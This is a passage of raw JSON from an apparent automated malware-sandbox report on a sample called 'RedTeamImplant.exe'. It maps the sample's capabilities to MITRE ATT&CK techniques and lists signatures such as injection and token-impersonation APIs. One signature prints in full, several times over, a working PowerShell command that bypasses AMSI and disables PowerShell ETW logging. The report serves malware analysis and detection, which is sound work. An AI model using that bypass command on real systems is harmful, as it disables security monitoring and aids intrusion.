processes"],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":9,"informative_identifiers":["Contains ability to enumerate process and/or its information (API string)","Contains ability to retrieve processes (Powershell command string)","Contains ability to retrieve/open a process (API string)","Queries process information","Calls an API typically used for taking snapshot of the specified processes","Queries basic information of the specified process","Spawns new processes that are not known child processes","Spawns new processes","Process launched with changed environment"],"parent":null},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attck_id":"T1016","attck_id_wiki":"https://attack.mitre.org/techniques/T1016","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":4,"informative_identifiers":["Contains ability to retrieve the local name for a socket (API string)","Contains ability to query network adapter information (API string)","Contains ability to free the memory used by network management functions (API string)","Able to determine NetBIOS or DNS name associated with the local computer"],"parent":null},{"tactic":"Discovery","technique":"Domain Groups","attck_id":"T1069.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1069/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Able to enumerate permission groups in the domain"],"parent":{"technique":"Permission Groups Discovery","attck_id":"T1069","attck_id_wiki":"https://attack.mitre.org/techniques/T1069"}},{"tactic":"Discovery","technique":"Query Registry","attck_id":"T1012","attck_id_wiki":"https://attack.mitre.org/techniques/T1012","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":5,"informative_identifiers":["Able to query registry keys (API string)","Contains registry location strings","Found registry location strings in memory","Opens registry keys","Queries registry keys"],"parent":null},{"tactic":"Discovery","technique":"Local Account","attck_id":"T1087.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1087/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to retrieve information about user accounts on a server (API string)"],"parent":{"technique":"Account Discovery","attck_id":"T1087","attck_id_wiki":"https://attack.mitre.org/techniques/T1087"}},{"tactic":"Discovery","technique":"System Service Discovery","attck_id":"T1007","attck_id_wiki":"https://attack.mitre.org/techniques/T1007","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":3,"informative_identifiers":["Able to enumerate service (API string)","Able to query service configuration on system (API string)","Queries services related registry keys"],"parent":null},{"tactic":"Discovery","technique":"System Owner/User Discovery","attck_id":"T1033","attck_id_wiki":"https://attack.mitre.org/techniques/T1033","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to retrieve usernames and/or user information (API string)","Contains ability to retrieve the current user information"],"parent":null},{"tactic":"Discovery","technique":"User Activity Based Checks","attck_id":"T1497.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1497/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Able to identify virtual environment by using user activity (API string)"],"parent":{"technique":"Virtualization/Sandbox Evasion","attck_id":"T1497","attck_id_wiki":"https://attack.mitre.org/techniques/T1497"}},{"tactic":"Discovery","technique":"Account Discovery","attck_id":"T1087","attck_id_wiki":"https://attack.mitre.org/techniques/T1087","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to retrieve SID for the specified name (API string)"],"parent":null},{"tactic":"Discovery","technique":"System Time Discovery","attck_id":"T1124","attck_id_wiki":"https://attack.mitre.org/techniques/T1124","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to retrieve machine time (API string)","Contains ability to retrieve machine timezone (API string)"],"parent":null},{"tactic":"Discovery","technique":"Virtualization/Sandbox Evasion","attck_id":"T1497","attck_id_wiki":"https://attack.mitre.org/techniques/T1497","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["The input sample contains the RDTSCP instruction"],"parent":null},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attck_id":"T1570","attck_id_wiki":"https://attack.mitre.org/techniques/T1570","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to move file or directory (API string)"],"parent":null},{"tactic":"Collection","technique":"Local Data Staging","attck_id":"T1074.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1074/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to create directories (API string)"],"parent":{"technique":"Data Staged","attck_id":"T1074","attck_id_wiki":"https://attack.mitre.org/techniques/T1074"}},{"tactic":"Collection","technique":"Automated Collection","attck_id":"T1119","attck_id_wiki":"https://attack.mitre.org/techniques/T1119","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Shows ability to send encrypted data to the internet"],"parent":null},{"tactic":"Command and Control","technique":"Application Layer Protocol","attck_id":"T1071","attck_id_wiki":"https://attack.mitre.org/techniques/T1071","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":4,"informative_identifiers":["Found potential URL in binary/memory","Contains ability to communicate with network (API string)","Contains references to network communication API (string)","Found potential URLs in memory dumps"],"parent":null},{"tactic":"Command and Control","technique":"Socket Filters","attck_id":"T1205.002","attck_id_wiki":"https://attack.mitre.org/techniques/T1205/002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Able to monitor socket connection"],"parent":{"technique":"Traffic Signaling","attck_id":"T1205","attck_id_wiki":"https://attack.mitre.org/techniques/T1205"}},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attck_id":"T1095","attck_id_wiki":"https://attack.mitre.org/techniques/T1095","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to communicate with C2 using Sockets (API string)"],"parent":null},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attck_id":"T1105","attck_id_wiki":"https://attack.mitre.org/techniques/T1105","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to write files (API string)"],"parent":null},{"tactic":"Command and Control","technique":"Non-Standard Port","attck_id":"T1571","attck_id_wiki":"https://attack.mitre.org/techniques/T1571","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to open a port and listen for incoming connection (API string)","References server/domain address with port number"],"parent":null},{"tactic":"Command and Control","technique":"Encrypted Channel","attck_id":"T1573","attck_id_wiki":"https://attack.mitre.org/techniques/T1573","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Contains ability to use Microsoft's Enhanced Cryptographic Provider"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Command and Control","technique":"Web Protocols","attck_id":"T1071.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1071/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Attempts to call internet-related API for network communication"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":{"technique":"Application Layer Protocol","attck_id":"T1071","attck_id_wiki":"https://attack.mitre.org/techniques/T1071"}},{"tactic":"Command and Control","technique":"Data Encoding","attck_id":"T1132","attck_id_wiki":"https://attack.mitre.org/techniques/T1132","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to perform Base64 encoding/decoding"],"parent":null},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attck_id":"T1573.001","attck_id_wiki":"https://attack.mitre.org/techniques/T1573/001","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Shows ability to use encryption for command and control traffic"],"parent":{"technique":"Encrypted Channel","attck_id":"T1573","attck_id_wiki":"https://attack.mitre.org/techniques/T1573"}},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attck_id":"T1029","attck_id_wiki":"https://attack.mitre.org/techniques/T1029","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to perform scheduled transfer (API string)"],"parent":null},{"tactic":"Impact","technique":"Account Access Removal","attck_id":"T1531","attck_id_wiki":"https://attack.mitre.org/techniques/T1531","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to delete a user account from a server (API string)"],"parent":null},{"tactic":"Impact","technique":"Service Stop","attck_id":"T1489","attck_id_wiki":"https://attack.mitre.org/techniques/T1489","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":3,"informative_identifiers":["Contains ability to terminate a process (API string)","Able to retrieve/open a process (API string)","Contains ability to stop windows services"],"parent":null},{"tactic":"Impact","technique":"System Shutdown/Reboot","attck_id":"T1529","attck_id_wiki":"https://attack.mitre.org/techniques/T1529","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to shutdown system"],"parent":null}],"network_mode":"default","signatures":[{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-942","type":2,"relevance":1,"name":"Able to build PowerShell events through modules contained in the .NET code","description":"file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1059.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1059/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-981","type":2,"relevance":1,"name":"Able to enumerate permission groups in the domain","description":"file/memory contains long string with (Indicator: \"netusergetlocalgroups\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"netusergetlocalgroups\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"netusergetlocalgroups\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"netusergetlocalgroups\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"netusergetlocalgroups\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"netusergetlocalgroups\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1069.002","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1069/002","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-92","type":2,"relevance":1,"name":"Able to inject code into another process (API string)","description":"Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"VirtualFree\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"VirtualAlloc\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"VirtualFree\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"RedTeamImplant.exe\")","Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"RedTeamImplant.exe\")","Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"VirtualFree\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"VirtualAlloc\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"VirtualFree\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"VirtualFree\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"VirtualAlloc\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"VirtualFree\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1055","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1055","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-397","type":2,"relevance":1,"name":"Contains ability to delay execution (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Sleep\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"Start-Sleep\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"Start-Sleep\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"Start-Sleep\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"Start-Sleep\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"Start-Sleep\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1497.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1497/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-226","type":2,"relevance":1,"name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$25","description_v2":["Found reference to API \"SetWaitableTimer\" (Indicator: \"SetWaitableTimer\"; File: \"RedTeamImplant.exe\")","Found reference to API \"WaitForMultipleObjects\" (Indicator: \"WaitForMultipleObjects\"; File: \"RedTeamImplant.exe\")","Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"WaitForSingleObject\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetSystemTimeAsFileTime\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"SetWaitableTimer\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"SetWaitableTimer\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"SetWaitableTimer\" (Indicator: \"SetWaitableTimer\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WaitForMultipleObjects\" (Indicator: \"WaitForMultipleObjects\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"WaitForSingleObject\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetSystemTimeAsFileTime\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"SetWaitableTimer\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"SetWaitableTimer\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")"}],"origin":"File/Memory","attck_id":"T1497.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1497/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-306","type":2,"relevance":1,"name":"Contains ability to impersonate access tokens (API string)","description":"file/memory contains long string with (Indicator: \"OpenThreadToken\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"OpenThreadToken\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"OpenProcessToken\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"OpenThreadToken\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"OpenThreadToken\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"OpenProcessToken\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"OpenThreadToken\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"OpenThreadToken\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"OpenProcessToken\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1134.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1134/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-318","type":2,"relevance":1,"name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"FreeLibrary\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"LoadLibrary\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")","Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"FreeLibrary\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"LoadLibrary\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"FreeLibrary\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"LoadLibrary\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"LoadLibrary\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1055.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1055/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-304","type":2,"relevance":1,"name":"Contains ability to modify registry key/value (API string)","description":"file/memory contains long string with (Indicator: \"RegSetValue\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"RegSetValue\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"RegSetValue\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"RegSetValue\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"RegSetValue\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"RegSetValue\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1112","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1112","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-337","type":2,"relevance":1,"name":"Contains ability to perform AMSI Bypass","description":"Observed string: \"$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$f=$a.GetField('amsiInitFailed','NonPublic,Static');$f.SetValue($null,$true);[Diagnostics.Tracing.EventSource]::GetSources()|?{$_.Name-like'*PowerShell*'}|%{$_.SetEtwProviderEnabled($false)}\" (Indicator: \"System.Management.Automation.AmsiUtils\") in Source: RedTeamImplant.exe\n Observed string: \"$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$f=$a.GetField('amsiInitFailed','NonPublic,Static');$f.SetValue($null,$true);[Diagnostics.Tracing.EventSource]::GetSources()|?{$_.Name-like'*PowerShell*'}|%{$_.SetEtwProviderEnabled($false)}\" (Indicator: \"System.Management.Automation.AmsiUtils\") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp","description_v2":["Observed string: \"$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$f=$a.GetField('amsiInitFailed','NonPublic,Static');$f.SetValue($null,$true);[Diagnostics.Tracing.EventSource]::GetSources()|?{$_.Name-like'*PowerShell*'}|%{$_.SetEtwProviderEnabled($false)}\" (Indicator: \"System.Management.Automation.AmsiUtils\") in Source: RedTeamImplant.exe","Observed string: \"$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$f=$a.GetField('amsiInitFailed','NonPublic,Static');$f.SetValue($null,$true);[Diagnostics.Tracing.EventSource]::GetSources()|?{$_.Name-like'*PowerShell*'}|%{$_.SetEtwProviderEnabled($false)}\" (Indicator: \"System.Management.Automation.AmsiUtils\") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp"],"description_v3":[{"type":"text","value":"Observed string: \"$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$f=$a.GetField('amsiInitFailed','NonPublic,Static');$f.SetValue($null,$true);[Diagnostics.Tracing.EventSource]::GetSources()|?{$_.Name-like'*PowerShell*'}|%{$_.SetEtwProviderEnabled($false)}\" (Indicator: \"System.Management.Automation.AmsiUtils\") in Source: RedTeamImplant.exe"},{"type":"linebreak"},{"type":"text","value":"Observed string: \"$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$f=$a.GetField('amsiInitFailed','NonPublic,Static');$f.SetValue($null,$true);[Diagnostics.Tracing.EventSource]::GetSources()|?{$_.Name-like'*PowerShell*'}|%{$_.SetEtwProviderEnabled($false)}\" (Indicator: \"System.Management.Automation.AmsiUtils\") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp"}],"origin":"File/Memory","attck_id":"T1562.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1562/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-338","type":2,"relevance":1,"name":"Contains ability to perform Base64 encoding/decoding","description":"$26","description_v2":["file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: 